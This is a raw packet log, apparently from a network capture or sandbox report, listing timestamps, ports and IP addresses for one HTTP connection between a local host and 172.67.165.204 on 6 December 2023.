Dec 6, 2023 14:50:51.283211946 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.283246040 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.283283949 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.283374071 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.283396959 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.283433914 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.283454895 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.283477068 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.283498049 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.283509970 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.283520937 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.283541918 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.283555031 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.283577919 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.283601046 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.283617020 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.283624887 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.283659935 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.283685923 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.283709049 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.283731937 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.283742905 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.283751965 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.283773899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.283786058 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.283795118 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.283828020 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.283857107 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.283879995 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.283912897 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.284152985 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284192085 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284214973 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284233093 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.284238100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284260988 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284275055 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.284284115 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284318924 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284318924 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.284354925 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284388065 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.284390926 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284413099 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284435034 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284447908 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.284471035 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284507036 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284507990 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.284529924 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284550905 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284562111 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.284571886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284605026 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.284635067 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284657001 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284687042 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284689903 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.284709930 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284746885 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.284750938 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284835100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284857988 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284874916 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.284881115 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284903049 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.284914017 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.284984112 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285007000 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285027027 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.285067081 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285103083 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.285142899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285202026 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285226107 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285238981 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.285248995 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285269976 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285283089 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.285341978 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285365105 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285382032 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.285387039 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285408974 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285424948 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.285459042 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285481930 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285492897 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.285504103 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285525084 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285541058 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.285543919 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285567045 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285576105 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.285588980 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285610914 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285619974 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.285674095 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285696983 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285711050 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.285717964 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285739899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285753012 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.285762072 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285795927 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.285798073 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285835028 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.285870075 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.286088943 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286111116 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286134005 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286144972 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.286221981 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286246061 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286257029 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.286273003 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286309958 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286312103 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.286345959 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286367893 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286382914 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.286389112 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286411047 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286422014 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.286447048 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286468983 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286484003 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.286493063 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286514997 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286528111 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.286535978 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286572933 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286572933 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.286595106 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286627054 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.286643028 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286679029 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286712885 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286714077 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.286751032 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286782980 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.286801100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286837101 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286859989 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.286870956 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.287040949 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287059069 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287081957 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.287111044 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287156105 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.287187099 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287245989 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287271023 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287286043 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.287326097 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287360907 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.287375927 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287400007 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287441969 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.287447929 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287494898 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287525892 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287528992 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.287549019 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287570953 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287586927 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.287607908 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287640095 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.287667036 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287725925 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287749052 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287759066 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.287781954 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287805080 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287817001 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.287826061 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287858963 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.287873983 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287895918 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287916899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287926912 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.287938118 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.287970066 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.287998915 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288022041 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288054943 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.288078070 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288100958 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288121939 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288134098 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.288158894 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288192034 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.288206100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288273096 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288295984 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288305998 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.288319111 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288340092 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288352013 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.288377047 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288398981 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288412094 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.288419962 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288441896 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288453102 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.288463116 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288494110 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.288497925 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288569927 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288599968 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288604021 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.288640976 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288671017 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288675070 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.288752079 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288789034 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.288790941 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288814068 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288845062 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.288886070 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288963079 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.288996935 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.289017916 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289041042 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289063931 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289073944 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.289084911 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289107084 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289117098 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.289128065 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289158106 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.289165974 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289187908 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289208889 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289220095 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.289257050 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289279938 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289289951 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.289300919 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289323092 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289334059 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.289345026 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289366961 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289377928 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.289402008 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289433956 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.289438009 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289488077 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289510012 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289520979 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.289532900 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289554119 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289563894 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.289575100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289606094 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.289624929 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289645910 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289678097 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.289944887 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.289980888 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290010929 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290020943 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.290044069 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290065050 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290076017 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.290086985 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290121078 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.290177107 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290199995 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290221930 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290232897 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.290244102 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290266037 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290278912 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.290302038 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290333986 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.290354967 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290436983 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290471077 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.290659904 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290684938 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290707111 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290716887 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.290739059 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290761948 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290771008 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.290783882 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290813923 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.290818930 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290854931 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290885925 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.290899992 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290936947 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290968895 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.290970087 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.291004896 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291027069 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291037083 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.291110039 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291134119 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291145086 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.291165113 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291187048 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291196108 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.291223049 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291245937 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291254997 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.291296959 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291318893 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291330099 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.291364908 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291395903 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.291435003 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291457891 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291480064 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291491032 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.291501999 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291523933 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291533947 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.291544914 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291565895 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291575909 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.291600943 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291632891 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.291693926 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291740894 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291764021 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291774988 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.291786909 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291809082 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291817904 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.291830063 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291867018 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.291901112 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291934013 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.291965008 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.291973114 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292018890 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292042017 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292051077 CET	49705	80	192.168.2.5	172.67.165.204
